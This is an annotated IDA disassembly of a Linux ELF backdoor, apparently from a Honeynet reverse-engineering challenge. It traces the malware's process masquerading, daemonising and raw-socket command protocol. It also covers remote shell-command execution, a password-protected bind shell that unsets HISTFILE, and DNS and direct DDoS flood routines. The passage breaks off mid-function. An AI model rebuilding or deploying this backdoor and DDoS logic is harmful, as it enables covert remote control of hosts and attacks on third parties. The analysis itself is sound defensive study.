 
 
;
; иммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм╩
; ╨	This file is generated by The Interactive Disassembler (IDA)	    ╨
; ╨	Copyright (c) 2000 by DataRescue sa/nv,	<ida@datarescue.com>	    ╨
; ╨	     Licensed to: Thomas Wright, DVDMods, 1 user, special	    ╨
; хммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм╪
;
; File Name   :	D:\efs\security\honeynet\reverse\ida415int\the-binary
; Format      :	ELF (Executable)
; 

		model flat

; ммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

; Segment type:	Pure code
; Segment permissions: Read/Execute
_init		segment	para public 'CODE' use32
		assume cs:_init
		;org 8048080h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


atentry_proc	proc near		; CODE XREF: start+51p
		call	call_ctors
		retn	0
atentry_proc	endp

_init		ends

; ммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 8048090h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

		public start
start		proc near

var_C		= dword	ptr -0Ch

		pop	ecx
		mov	ebx, esp
		mov	eax, esp
		mov	edx, ecx
		add	edx, edx
		add	edx, edx
		add	eax, edx
		add	eax, 4
		xor	ebp, ebp
		push	ebp
		push	ebp
		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	ecx
		mov	eax, 88h
		mov	ebx, 0
		int	80h		; LINUX	- sys_personality
		mov	eax, [esp+14h+var_C]
		mov	dword_806D228, eax
		movzx	eax, word_8078B18
		push	eax
		call	__setfpucw
		add	esp, 4
		call	__libc_init
		push	offset atexit_proc
		call	atexit
		add	esp, 4
		call	atentry_proc
		call	real_start
		push	eax
		call	exit
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db  5Bh	; [
		db  8Dh	; █
		db 0B4h	; Є
		db  26h	; &
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Dh	; █
		db 0B4h	; Є
		db  26h	; &
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8048100:				; CODE XREF: start+77j
		mov	eax, 1
		int	80h		; LINUX	- sys_exit
		jmp	short loc_8048100
start		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 8

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


call_dtors	proc near		; CODE XREF: atexit_procp
		push	ebx
		mov	ebx, offset dtors_address
		cmp	ds:dtors_address, 0
		jz	short loc_804812C
		nop

loc_8048120:				; CODE XREF: call_dtors+1Aj
		mov	eax, [ebx]
		call	eax
		add	ebx, 4
		cmp	dword ptr [ebx], 0
		jnz	short loc_8048120

loc_804812C:				; CODE XREF: call_dtors+Dj
		pop	ebx
		retn
call_dtors	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

real_start	proc near		; CODE XREF: start+56p

random_byte	= dword	ptr -44F0h
var_44EC	= dword	ptr -44ECh
fread_buf_ptr	= dword	ptr -44E8h
peer_ips_ptr	= dword	ptr -44E4h
packet_ptr	= dword	ptr -44E0h
fd		= dword	ptr -44DCh
ip_data_byte2_ptr= dword ptr -44D8h
ip_data_ptr	= dword	ptr -44D4h
ip_buf_ptr	= dword	ptr -44D0h
conn		= dword	ptr -44CCh
sock		= dword	ptr -44C8h
remote_addr_len	= dword	ptr -44C4h
optval		= dword	ptr -44C0h
hostname	= byte ptr -44BCh
shift_from_here	= byte ptr -44B3h
recvbuf		= byte ptr -43BCh
remote_addr	= byte ptr -11D8h
my_addr_family	= word ptr -11C8h
my_addr_port	= word ptr -11C6h
my_addr_ip	= dword	ptr -11C4h
peer_ips	= byte ptr -11B8h
num_of_ipdst	= byte ptr -1194h
fread_buf	= byte ptr -1190h
packet_byte0	= byte ptr -1000h
control_type	= byte ptr -0FFFh
packet_byte2	= byte ptr -0FFEh
packet_byte3	= byte ptr -0FFDh
packet_byte4	= byte ptr -0FFCh
packet_byte5	= byte ptr -0FFBh
packet_byte6	= byte ptr -0FFAh
packet_byte7	= byte ptr -0FF9h
packet_byte8	= byte ptr -0FF8h
packet_byte9	= byte ptr -0FF7h
packet_byte10	= byte ptr -0FF6h
packet_byte11	= byte ptr -0FF5h
packet_byte12	= byte ptr -0FF4h
packet_byte13	= byte ptr -0FF3h
packet_byte14	= byte ptr -0FF2h
ip_buf		= byte ptr -800h
ip_tos		= byte ptr -7FFh
ip_length_A	= byte ptr -7FEh
ip_length_B	= byte ptr -7FDh
ip_id		= byte ptr -7FCh
ip_dst_D	= byte ptr -7F0h
ip_dst_C	= byte ptr -7EFh
ip_dst_B	= byte ptr -7EEh
ip_dst_A	= byte ptr -7EDh
ip_data		= byte ptr -7ECh
ip_data_byte2	= byte ptr -7EAh
argv0		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 44F0h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+argv0]
		mov	[ebp+optval], 1
		lea	edx, [ebp+ip_buf]
		mov	[ebp+ip_buf_ptr], edx
		lea	ecx, [ebp+ip_data]
		mov	[ebp+ip_data_ptr], ecx
		lea	edx, [ebp+ip_data_byte2]
		mov	[ebp+ip_data_byte2_ptr], edx
		mov	[ebp+remote_addr_len], 10h
		call	__libc_geteuid	; are we root?
		test	eax, eax
		jz	short loc_804818C
		push	0FFFFFFFFh
		call	exit		; not root, exit
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db  90h	; ░
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804818C:				; CODE XREF: real_start+4Ej
		mov	edx, [ebx]
		xor	al, al
		mov	edi, edx
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		dec	eax
		push	eax
		push	0
		push	edx
		call	memset		; clear	argv[0]
		mov	edx, [ebx]
		mov	eax, dword ptr ds:aMin ; overwrite argv[0] with	"[mingetty]"
		mov	[edx], eax
		mov	eax, dword ptr ds:aGett	; "gett"
		mov	[edx+4], eax
		mov	ax, word ptr ds:aY ; "y]"
		mov	[edx+8], ax
		mov	al, ds:aNullByte
		mov	[edx+0Ah], al
		push	1
		push	11h
		call	signal
		call	fork		; first	fork
		add	esp, 14h
		test	eax, eax
		jz	short loc_80481E8
		push	0
		call	exit
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80481E8:				; CODE XREF: real_start+ABj
		call	__libc_setsid
		push	1
		push	11h
		call	signal
		call	fork		; double fork deamonization
		add	esp, 8
		test	eax, eax
		jz	short loc_804820C
		push	0
		call	exit
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db  8Dh	; █
		db  76h	; v
		db    0	;  
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804820C:				; CODE XREF: real_start+CCj
		push	offset root_path ; chdir /
		call	__libc_chdir
		push	0
		call	__libc_close	; close	stdin, stdout and stderr
		push	1
		call	__libc_close
		push	2
		call	__libc_close
		mov	ds:child_pid, 0
		mov	ds:shell_pid, 0
		mov	ds:before_fork,	0
		push	0
		call	__libc_time
		add	esp, 14h
		push	eax
		call	srand		; srand(time(NULL))
		add	esp, 4
		push	0Bh
		push	3
		push	2
		call	socket		; open a SOCK_RAW socket, type PF_INET,	proto 0x0B ?
		mov	[ebp+sock], eax
		push	1
		push	1
		call	signal		; signal(SIGHUP, SIG_IGN)
		push	1
		push	0Fh
		call	signal		; signal(SIGTERM, SIG_IGN)
		push	1
		push	11h
		call	signal		; signal(SIGCHLD, SIG_IGN)
		add	esp, 24h
		push	1
		push	11h
		call	signal
		add	esp, 8
		lea	ecx, [ebp+packet_byte0]
		mov	[ebp+packet_ptr], ecx
		lea	edx, [ebp+peer_ips]
		mov	[ebp+peer_ips_ptr], edx
		nop

loc_80482B0:				; CODE XREF: real_start+D91j
		push	0
		push	800h
		lea	eax, [ebp+ip_buf]
		push	eax
		mov	ecx, [ebp+sock]
		push	ecx
		call	recv		; receive from sockraw and put up to 2048 bytes	in ip_buf
		mov	esi, eax
		add	esp, 10h
		mov	edx, [ebp+ip_buf_ptr]
		cmp	byte ptr [edx+9], 0Bh ;	the ip_proto should be 0x0B
		jnz	usleep_and_loop	; default
		mov	ecx, [ebp+ip_data_ptr]
		cmp	byte ptr [ecx],	2 ; the	first byte of the data should be 2
		jnz	usleep_and_loop	; default
		cmp	esi, 0C8h	; the packet must be > 200 bytes
		jle	usleep_and_loop	; default
		mov	edx, [ebp+packet_ptr]
		push	edx
		mov	ecx, [ebp+ip_data_byte2_ptr] ; address of ip_data2 buffer
		push	ecx
		lea	eax, [esi-16h]	; size of the received packet -	22
		push	eax
		call	packet_decode
		add	esp, 0Ch
		movzx	eax, [ebp+control_type]
		dec	eax
		cmp	eax, 0Bh	; switch 12 cases 
		ja	usleep_and_loop	; default
		jmp	ds:off_804832C[eax*4] ;	switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
off_804832C	dd offset loc_804835C	; DATA XREF: real_start+1F1r
		dd offset loc_80483F0	; jump table for switch	statement
		dd offset loc_8048590
		dd offset loc_804871C
		dd offset loc_80487C8
		dd offset loc_8048894
		dd offset loc_8048ACC
		dd offset loc_8048B58
		dd offset loc_8048B80
		dd offset loc_8048C34
		dd offset loc_8048D08
		dd offset loc_8048DE4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804835C:				; CODE XREF: real_start+1F1j
					; DATA XREF: real_start+1F8o
		mov	al, ds:crypto_key ; case 0x0
		mov	[ebp+ip_buf], al
		mov	eax, ds:dword_807E77C
		mov	[ebp+ip_buf], al ; mangle some fields in the ip	data
		mov	[ebp+ip_tos], 1
		mov	[ebp+ip_length_A], 7
		cmp	ds:child_pid, 0
		jz	short loc_80483A0
		mov	[ebp+ip_length_B], 1
		mov	eax, ds:before_fork
		mov	[ebp+ip_id], al
		jmp	short loc_80483A7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80483A0:				; CODE XREF: real_start+254j
		mov	[ebp+ip_length_B], 0

loc_80483A7:				; CODE XREF: real_start+268j
		mov	edx, [ebp+packet_ptr] ;	output
		push	edx
		lea	eax, [ebp+ip_buf] ; input
		push	eax
		push	190h		; input_size
		call	packet_encode
		call	random
		mov	ecx, 0C9h
		cdq
		idiv	ecx		; get a	random value between 0 and 200 in edx
		mov	ebx, edx
		lea	eax, [ebx+190h]	; add 400 to the random	value
		push	eax		; ip_data_size (random,	400 < x	< 600)
		mov	edx, [ebp+packet_ptr]
		push	edx		; ip_data
		mov	ecx, [ebp+peer_ips_ptr]
		push	ecx		; ip_dst_ptr
		call	sent_packet_sig3_peers
		add	esp, 18h
		jmp	usleep_and_loop	; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80483F0:				; CODE XREF: real_start+1F1j
					; DATA XREF: real_start+1F8o
		movzx	edx, [ebp+packet_byte2]	; case 0x1
		mov	ds:packet_byte2_saved, edx
		mov	al, [ebp+ip_dst_D]
		mov	ds:ouraddr_D, al
		mov	al, [ebp+ip_dst_C]
		mov	ds:ouraddr_C, al
		mov	al, [ebp+ip_dst_B]
		mov	ds:ouraddr_B, al
		mov	al, [ebp+ip_dst_A]
		mov	ds:ouraddr_A, al
		push	0
		call	__libc_time
		add	esp, 4
		push	eax
		call	srand
		add	esp, 4
		call	random
		mov	ecx, 0Ah	; get a	random value from 0 to 9
		cdq
		idiv	ecx
		mov	edi, edx	; edi =	random value 0 - 9
		xor	ebx, ebx	; ebx is the counter for the loop
		xor	esi, esi	; offset into peer_ips (ebx*4)
		nop

loop9:					; CODE XREF: real_start+3FEj
		cmp	ebx, edi	; for (ebx=0; ebx < 10;	ebx++)
		jz	end_of_loop9	; if (ebx == random_value) continue;
		cmp	ds:packet_byte2_saved, 2
		jnz	short packet_byte2_saved_not_2
		mov	al, [ebp+ebx*4+packet_byte3] ; copy the	ip address from	the packet to peer_ips[ebx]
		mov	edx, [ebp+peer_ips_ptr]
		mov	[edx+esi], al
		mov	al, [ebp+ebx*4+packet_byte4]
		mov	[esi+edx+1], al
		mov	al, [ebp+ebx*4+packet_byte5]
		mov	[esi+edx+2], al
		mov	al, [ebp+ebx*4+packet_byte6]
		jmp	loc_8048527
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

packet_byte2_saved_not_2:		; CODE XREF: real_start+32Fj
		call	random
		mov	[ebp+random_byte], eax
		test	eax, eax
		jge	short loc_80484B3
		lea	ecx, [eax+0FFh]	; if eax < 0
		mov	[ebp+random_byte], ecx

loc_80484B3:				; CODE XREF: real_start+371j
		mov	edx, [ebp+peer_ips_ptr]
		mov	[esi+edx], al
		call	random
		mov	[ebp+random_byte], eax
		test	eax, eax
		jge	short loc_80484D7
		lea	ecx, [eax+0FFh]
		mov	[ebp+random_byte], ecx

loc_80484D7:				; CODE XREF: real_start+395j
		mov	edx, [ebp+peer_ips_ptr]
		mov	[esi+edx+1], al
		call	random
		mov	[ebp+random_byte], eax
		test	eax, eax
		jge	short loc_80484FC
		lea	ecx, [eax+0FFh]
		mov	[ebp+random_byte], ecx

loc_80484FC:				; CODE XREF: real_start+3BAj
		mov	edx, [ebp+peer_ips_ptr]
		mov	[esi+edx+2], al
		call	random
		mov	[ebp+random_byte], eax
		test	eax, eax
		jge	short loc_8048521
		lea	ecx, [eax+0FFh]
		mov	[ebp+random_byte], ecx

loc_8048521:				; CODE XREF: real_start+3DFj
		mov	edx, [ebp+peer_ips_ptr]

loc_8048527:				; CODE XREF: real_start+35Ej
		mov	[esi+edx+3], al	; the last byte	of peer_ips[ebx]

end_of_loop9:				; CODE XREF: real_start+322j
		add	esi, 4
		inc	ebx
		cmp	ebx, 9
		jle	loop9
		mov	eax, ds:packet_byte2_saved
		test	eax, eax
		jnz	short loc_8048543
		xor	edi, edi

loc_8048543:				; CODE XREF: real_start+40Bj
		cmp	eax, 2
		jz	usleep_and_loop	; default
		shl	edi, 2
		mov	[ebp+var_44EC],	edi
		mov	al, [ebp+packet_byte3]
		mov	ecx, [ebp+peer_ips_ptr]
		mov	[edi+ecx], al
		mov	al, [ebp+packet_byte4]
		mov	edx, [ebp+var_44EC]
		mov	[edx+ecx+1], al
		mov	al, [ebp+packet_byte5]
		mov	[edx+ecx+2], al
		mov	al, [ebp+packet_byte6]
		mov	[edx+ecx+3], al
		jmp	usleep_and_loop	; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8048590:				; CODE XREF: real_start+1F1j
					; DATA XREF: real_start+1F8o
		call	fork		; case 0x2
		mov	ds:shell_pid, eax
		test	eax, eax
		jnz	usleep_and_loop	; default
		call	__libc_setsid
		push	1
		push	11h
		call	signal
		call	fork
		add	esp, 8
		test	eax, eax
		jz	short loc_80485D8
		push	0Ah
		call	sleep
		push	9
		mov	eax, ds:shell_pid
		push	eax
		call	__libc_kill
		push	0
		call	exit
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db  90h	; ░
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80485D8:				; CODE XREF: real_start+486j
		xor	ebx, ebx
		lea	esi, [esi]

loc_80485DC:				; CODE XREF: real_start+4BDj
		mov	al, [ebx+ebp-0FFEh]
		mov	[ebx+ebp-1000h], al ; shift from packet[2] to packet[0]
		inc	ebx
		cmp	ebx, 18Dh
		jle	short loc_80485DC
		push	offset aTmp_hj237349 ; "/tmp/.hj237349"
		mov	ecx, [ebp+packet_ptr]
		push	ecx
		push	offset aBinCshFCS1S21 ;	"/bin/csh -f -c	\"%s\" 1> %s 2>&1"
		lea	ebx, [ebp+ip_buf]
		push	ebx
		call	sprintf
		push	ebx
		call	system
		push	offset aRb	; "rb"
		push	offset aTmp_hj237349 ; "/tmp/.hj237349"
		call	_IO_fopen
		mov	[ebp+fd], eax
		add	esp, 1Ch
		test	eax, eax
		jz	loc_8048712
		xor	edi, edi
		lea	edx, [ebp+fread_buf]
		mov	[ebp+fread_buf_ptr], edx

loc_8048644:				; CODE XREF: real_start+5BFj
		mov	ecx, [ebp+fd]
		push	ecx
		push	18Eh
		push	1
		lea	eax, [ebp+ip_buf]
		push	eax
		call	_IO_fread
		mov	esi, eax
		mov	byte ptr [esi+ebp-800h], 0 ; ip_buf[esi]
		xor	ebx, ebx
		add	esp, 10h
		lea	esi, [esi+0]

loc_8048670:				; CODE XREF: real_start+551j
		mov	al, [ebx+ebp-800h]
		mov	[ebx+ebp-0FFEh], al ; copy from	ip_buf to packet[2]
		inc	ebx
		cmp	ebx, 18Dh
		jle	short loc_8048670
		test	edi, edi
		jnz	short loc_804869C
		mov	[ebp+control_type], 3
		mov	edi, 1
		jmp	short loc_80486A3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804869C:				; CODE XREF: real_start+555j
		mov	[ebp+control_type], 4

loc_80486A3:				; CODE XREF: real_start+563j
		mov	edx, [ebp+fread_buf_ptr]
		push	edx
		mov	ecx, [ebp+packet_ptr]
		push	ecx
		push	190h
		call	packet_encode
		call	random
		mov	ecx, 0C9h
		cdq
		idiv	ecx
		mov	ebx, edx	; ebx =	edx = random value between 0 and 200
		lea	eax, [ebx+190h]
		push	eax
		mov	edx, [ebp+fread_buf_ptr]
		push	edx
		mov	ecx, [ebp+peer_ips_ptr]
		push	ecx
		call	sent_packet_sig3_peers
		push	61A80h
		call	usleep
		add	esp, 1Ch
		test	esi, esi
		jnz	loc_8048644
		mov	edx, [ebp+fd]
		push	edx
		call	_IO_fclose
		push	offset aTmp_hj237349 ; "/tmp/.hj237349"
		call	remove
		add	esp, 8

loc_8048712:				; CODE XREF: real_start+4FCj
		push	0
		call	exit_
		lea	esi, [esi+0]

loc_804871C:				; CODE XREF: real_start+1F1j
					; DATA XREF: real_start+1F8o
		cmp	ds:child_pid, 0	; case 0x3
		jnz	usleep_and_loop	; default
		mov	ds:before_fork,	4
		call	fork
		mov	ds:child_pid, eax
		test	eax, eax
		jnz	usleep_and_loop	; default
		lea	edi, [ebp+hostname]
		lea	esi, [ebp+packet_byte0]
		cld
		mov	ecx, 3Fh
		repe movsd		; copy the packet to hostname
		movsw
		movsb
		xor	ebx, ebx
		lea	esi, [esi]

loc_8048760:				; CODE XREF: real_start+641j
		mov	al, [ebx+ebp-44B3h]
		mov	[ebx+ebp-44BCh], al ; remove the first 9 bytes of the packet from the hostname
		inc	ebx
		cmp	ebx, 0FEh
		jle	short loc_8048760
		lea	eax, [ebp+hostname] ; hostname
		push	eax
		movzx	eax, [ebp+packet_byte8]	; resolve_hostname
		push	eax
		movzx	eax, [ebp+packet_byte7]	; port_lo
		push	eax
		movzx	eax, [ebp+packet_byte6]	; port_hi
		push	eax
		push	0		; sleep_interval (0 means sleep	after every packet)
		movzx	eax, [ebp+packet_byte5]	; ip_addr_A
		push	eax
		movzx	eax, [ebp+packet_byte4]	; ip_addr_B
		push	eax
		movzx	eax, [ebp+packet_byte3]	; ip_addr_C
		push	eax
		movzx	eax, [ebp+packet_byte2]	; ip_addr_D
		push	eax
		call	dns_ddos
		add	esp, 24h
		push	0
		call	exit_
		nop

loc_80487C8:				; CODE XREF: real_start+1F1j
					; DATA XREF: real_start+1F8o
		cmp	ds:child_pid, 0	; case 0x4
		jnz	usleep_and_loop	; default
		mov	ds:before_fork,	5
		call	fork
		mov	ds:child_pid, eax
		test	eax, eax
		jnz	usleep_and_loop	; default
		lea	edi, [ebp+hostname]
		lea	esi, [ebp+packet_byte0]
		cld
		mov	ecx, 3Fh
		repe movsd
		movsw
		movsb
		xor	ebx, ebx
		lea	esi, [esi]

loc_804880C:				; CODE XREF: real_start+6EDj
		mov	al, [ebx+ebp-44AFh]
		mov	[ebx+ebp-44BCh], al
		inc	ebx
		cmp	ebx, 0FEh	; shift	from packet[13]	to packet[0], 254 bytes
		jle	short loc_804880C
		lea	eax, [ebp+hostname]
		push	eax
		movzx	eax, [ebp+packet_byte12]
		push	eax
		movzx	eax, [ebp+packet_byte11]
		push	eax
		movzx	eax, [ebp+packet_byte10]
		push	eax
		movzx	eax, [ebp+packet_byte9]
		push	eax
		movzx	eax, [ebp+packet_byte8]
		push	eax
		movzx	eax, [ebp+packet_byte7]
		push	eax
		movzx	eax, [ebp+packet_byte6]
		push	eax
		movzx	eax, [ebp+packet_byte5]
		push	eax
		movzx	eax, [ebp+packet_byte4]
		push	eax
		movzx	eax, [ebp+packet_byte3]
		push	eax
		movzx	eax, [ebp+packet_byte2]
		push	eax
		call	direct_ddos
		add	esp, 30h
		push	0
		call	exit_
		lea	esi, [esi+0]

loc_8048894:				; CODE XREF: real_start+1F1j
					; DATA XREF: real_start+1F8o
		cmp	ds:child_pid, 0	; case 0x5
		jnz	usleep_and_loop	; default
		mov	ds:before_fork,	6
		push	1
		push	11h
		call	signal
		call	fork
		mov	ds:child_pid, eax
		add	esp, 8
		test	eax, eax
		jnz	usleep_and_loop	; default
		call	__libc_setsid
		push	1
		push	11h
		call	signal
		mov	[ebp+my_addr_family], 2
		add	esp, 8
		mov	[ebp+my_addr_port], 0F15Ah
		mov	[ebp+my_addr_ip], 0
		mov	[ebp+optval], 1
		push	0
		push	1
		push	2
		call	socket		; open a SOCK_STREAM socket, type PF_INET, proto IP
		mov	[ebp+sock], eax
		push	1
		push	11h
		call	signal
		push	1
		push	11h
		call	signal
		push	1
		push	1
		call	signal
		add	esp, 24h
		push	1
		push	0Fh
		call	signal
		push	1
		push	2
		call	signal
		push	4
		lea	eax, [ebp+optval]
		push	eax
		push	2		; SO_REUSEADDR
		push	1		; SOL_SOCKET
		mov	ecx, [ebp+sock]
		push	ecx
		call	setsockopt
		add	esp, 24h
		push	10h
		lea	eax, [ebp+my_addr_family]
		push	eax
		mov	edx, [ebp+sock]
		push	edx
		call	bind
		push	3
		mov	ecx, [ebp+sock]
		push	ecx
		call	listen
		add	esp, 14h
		nop

loc_8048984:				; CODE XREF: real_start+882j
		lea	eax, [ebp+remote_addr_len]
		push	eax
		lea	eax, [ebp+remote_addr]
		push	eax
		mov	edx, [ebp+sock]
		push	edx
		call	accept
		mov	[ebp+conn], eax
		add	esp, 0Ch
		test	eax, eax
		jz	loc_8048AC4
		call	fork
		test	eax, eax
		jnz	short loc_8048984
		push	0
		push	13h
		lea	eax, [ebp+recvbuf]
		push	eax
		mov	ecx, [ebp+conn]
		push	ecx
		call	recv
		xor	ebx, ebx
		add	esp, 10h

loc_80489D4:				; CODE XREF: real_start+8CEj
		mov	al, [ebx+ebp-43BCh]
		cmp	al, 0Ah
		jz	short newline
		cmp	al, 0Dh
		jnz	short loc_80489F0

newline:				; CODE XREF: real_start+8A9j
		mov	byte ptr [ebx+ebp-43BCh], 0
		jmp	short loc_80489FE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80489F0:				; CODE XREF: real_start+8ADj
		mov	[ebx+ebp-43BCh], al
		inc	byte ptr [ebx+ebp-43BCh]

loc_80489FE:				; CODE XREF: real_start+8B7j
		inc	ebx
		cmp	ebx, 12h
		jle	short loc_80489D4
		lea	esi, [ebp+recvbuf]
		mov	edi, offset aTfojg ; "TfOjG"
		mov	ecx, 6
		cld
		test	al, 0
		repe cmpsb
		jz	short loc_8048A44
		push	0
		push	4
		push	offset wrong_pass
		mov	edx, [ebp+conn]
		push	edx
		call	send
		mov	ecx, [ebp+conn]
		push	ecx
		call	__libc_close
		push	1
		call	exit
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db  90h	; ░
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8048A44:				; CODE XREF: real_start+8E5j
		push	0
		mov	edx, [ebp+conn]
		push	edx
		call	__libc_dup2
		push	1
		mov	ecx, [ebp+conn]
		push	ecx
		call	__libc_dup2
		push	2
		mov	edx, [ebp+conn]
		push	edx
		call	__libc_dup2
		push	1
		push	offset aSbinBinUsrSbin ; "/sbin:/bin:/usr/sbin:/usr/bin:/usr/loca"...
		push	offset aPath	; "PATH"
		call	setenv
		add	esp, 24h
		push	offset aHistfile ; "HISTFILE"
		call	unsetenv
		push	1
		push	offset aLinux	; "linux"
		push	offset aTerm	; "TERM"
		call	setenv
		push	0
		push	offset aSh	; "sh"
		push	offset aBinSh	; "/bin/sh"
		call	execl
		mov	ecx, [ebp+conn]
		push	ecx
		call	__libc_close
		add	esp, 20h
		push	0
		call	exit
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8048AC4:				; CODE XREF: real_start+875j
		push	0
		call	exit
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db  90h	; ░
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8048ACC:				; CODE XREF: real_start+1F1j
					; DATA XREF: real_start+1F8o
		call	fork		; case 0x6
		mov	ds:shell_pid, eax
		test	eax, eax
		jnz	usleep_and_loop	; default
		call	__libc_setsid	; child
		push	1
		push	11h
		call	signal
		call	fork
		add	esp, 8
		test	eax, eax
		jz	short loc_8048B18
		push	4B0h		; still	child
		call	sleep
		push	9
		mov	eax, ds:shell_pid
		push	eax
		call	__libc_kill
		push	0
		call	exit
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db  8Dh	; █
		db  36h	; 6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8048B18:				; CODE XREF: real_start+9C2j
		xor	ebx, ebx	; grandchild
		lea	esi, [esi]

loc_8048B1C:				; CODE XREF: real_start+9FDj
		mov	al, [ebx+ebp-0FFEh]
		mov	[ebx+ebp-1000h], al ; shift from packet[2] to packet[0]
		inc	ebx
		cmp	ebx, 18Dh
		jle	short loc_8048B1C
		mov	edx, [ebp+packet_ptr]
		push	edx
		push	offset aBinCshFCS ; "/bin/csh -f -c \"%s\" "
		lea	ebx, [ebp+ip_buf]
		push	ebx
		call	sprintf
		push	ebx
		call	system		; execute a shell command
		push	0
		call	exit_

loc_8048B58:				; CODE XREF: real_start+1F1j
					; DATA XREF: real_start+1F8o
		mov	eax, ds:child_pid ; case 0x7
		test	eax, eax
		jz	usleep_and_loop	; default
		push	9
		push	eax
		call	__libc_kill
		mov	ds:child_pid, 0
		add	esp, 8
		jmp	usleep_and_loop	; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8048B80:				; CODE XREF: real_start+1F1j
					; DATA XREF: real_start+1F8o
		cmp	ds:child_pid, 0	; case 0x8
		jnz	usleep_and_loop	; default
		mov	ds:before_fork,	9
		call	fork
		mov	ds:child_pid, eax
		test	eax, eax
		jnz	usleep_and_loop	; default
		lea	edi, [ebp+hostname]
		lea	esi, [ebp+packet_byte0]
		cld
		mov	ecx, 3Fh
		repe movsd
		movsw
		movsb
		xor	ebx, ebx
		lea	esi, [esi]

loc_8048BC4:				; CODE XREF: real_start+AA5j
		mov	al, [ebx+ebp-44B2h]
		mov	[ebx+ebp-44BCh], al
		inc	ebx
		cmp	ebx, 0FEh
		jle	short loc_8048BC4
		lea	eax, [ebp+hostname]
		push	eax
		movzx	eax, [ebp+packet_byte9]
		push	eax
		movzx	eax, [ebp+packet_byte8]
		push	eax
		movzx	eax, [ebp+packet_byte7]
		push	eax
		movzx	eax, [ebp+packet_byte6]
		push	eax
		movzx	eax, [ebp+packet_byte5]
		push	eax
		movzx	eax, [ebp+packet_byte4]
		push	eax
		movzx	eax, [ebp+packet_byte3]
		push	eax
		movzx	eax, [ebp+packet_byte2]
		push	eax
		call	dns_ddos
		add	esp, 24h
		push	0
		call	exit_
		lea	esi, [esi+0]

loc_8048C34:				; CODE XREF: real_start+1F1j
					; DATA XREF: real_start+1F8o
		cmp	ds:child_pid, 0	; case 0x9
		jnz	usleep_and_loop	; default
		mov	ds:before_fork,	0Ah
		call	fork
		mov	ds:child_pid, eax
		test	eax, eax
		jnz	usleep_and_loop	; default
		lea	edi, [ebp+hostname]
		lea	esi, [ebp+packet_byte0]
		cld
		mov	ecx, 3Fh
		repe movsd
		movsw
		movsb
		xor	ebx, ebx
		lea	esi, [esi]

loc_8048C78:				; CODE XREF: real_start+B59j
		mov	al, [ebx+ebp-44AEh]
		mov	[ebx+ebp-44BCh], al
		inc	ebx
		cmp	ebx, 0FEh
		jle	short loc_8048C78
		lea	eax, [ebp+hostname]
		push	eax
		movzx	eax, [ebp+packet_byte13]
		push	eax
		push	0
		movzx	eax, [ebp+packet_byte12]
		push	eax
		movzx	eax, [ebp+packet_byte11]
		push	eax
